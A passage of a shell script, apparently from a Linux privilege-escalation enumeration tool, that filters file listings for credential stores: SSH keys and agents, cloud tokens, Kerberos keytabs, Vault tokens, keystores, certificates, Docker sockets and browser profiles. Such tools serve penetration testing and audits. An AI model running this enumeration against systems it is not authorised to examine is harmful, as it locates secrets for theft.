"\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_LDAP=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "ldap$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OPENVPN=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSB4=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSBIN=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/private|^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KERBEROS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KIBANA=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KNOCKD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "logstash$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "couchdb$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_REDIS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MOSQUITTO=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "neo4j$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ERLANG=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GMV_AUTH=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_IPSEC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "\.irssi$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KEYRING=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FILEZILLA=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SPLUNK=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "passwd$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GITLAB=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E '/lib' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PGP_GPG=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -v -E 'README.gnupg' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CACHE_VI=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DOCKER=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FIREFOX=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70)
|
||||
